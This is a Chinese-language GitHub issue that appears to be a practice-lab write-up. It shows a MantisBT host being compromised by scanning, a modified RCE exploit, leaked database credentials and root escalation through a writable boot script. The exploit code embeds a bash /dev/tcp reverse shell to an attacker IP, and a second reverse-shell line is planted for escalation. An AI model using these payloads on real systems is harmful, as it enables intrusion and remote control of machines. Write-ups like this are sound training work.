cha0s32 / cha0s32.github.io

0 stars 0 forks source link

靶场练习 9 #12

Open cha0s32 opened 9 months ago

cha0s32 commented 9 months ago

利用的技术

  1. 目录扫描 & 端口扫描

  2. exploit 打 mantis

  3. 敏感信息获取数据库账号密码

  4. 可写目录提权

信息收集

全端口扫描,服务发现

nmap -n -v -p- --max-retries=0 172.16.33.53
nmap -sV -p80,8082,22 172.16.33.53

port:80 8082 22

目录扫描

dirsearch -u 172.16.33.53
dirsearch -u http://172.16.33.53:8082

location:

image-20230529153256749

/Info.php phpmyadmin 页面

/system mantis 页面,针对这个页面继续进行目录扫描

dirsearch -u http://172.16.33.53/system

注册了一个新用户

image-20230529153128922

没有要求填写密码,直接注册成功

利用漏洞拿shell

searchsploit mantis # RCE

改exploit 代码,重点是将authorization字段加进去

class exploit():
    def __init__(self):
        self.s = requests.Session()
    self.headers={"Authorization":"Basic YWRtaW46YWRtaW4="} # Initialize the headers dictionary
        self.RHOST = "172.16.33.53" # Victim IP
        self.RPORT = "80" # Victim port
        self.LHOST = "10.8.0.86" # Attacker IP
        self.LPORT = "8086" # Attacker Port
        self.verify_user_id = "1" # User id for the target account
        self.realname = "administrator" # Username to hijack
        self.passwd = "password" # New password after account hijack
        self.mantisLoc = "/system" # Location of mantis in URL
        self.ReverseShell = "echo " + b64encode("bash -i >& /dev/tcp/" + self.LHOST + "/" + self.LPORT + " 0>&1") + " | base64 -d | /bin/bash" # Reverse shell payload

运行后成功拿到shell,id一下是最低权限

目录扫描 /system 页面

dirsearch -u http://172.16.33.53/system --header="Authorization:Basic YWRtaW46YWRtaW4="

/system/config

/system/api

打开/config 页面有目录遍历,其中 a.txt 文件中有 数据库敏感信息,尝试登录adminer.php 页面,成功登录,且看到数据库中有用户相关的表,打开查看

# http://172.16.33.53/system/config/a.txt

$g_hostname      = 'localhost';
$g_db_username   = 'mantissuser';
$g_db_password   = 'password@123AS';
$g_database_name = 'mantis';
$g_db_type       = 'mysqli';

image-20230529153200115

因为 test 账户创建时没有要求填写密码,而readname为空

猜测realname为密码,尝试登录tre

image-20230529153422955

成功登录

传一个linpeas上去看看,跑了一下linpeas ,没用

提权

看一下有没有可写权限,且为root运行的文件,看到check-system

image-20230529152239572

写入反弹shell

bash -i >& /dev/tcp/10.8.0.86/6666 0>&1

image-20230529152205480

查询check-system , 该文件为开机时运行,重启一下主机

sudo shutdown -r

提权成功

image-20230529152805744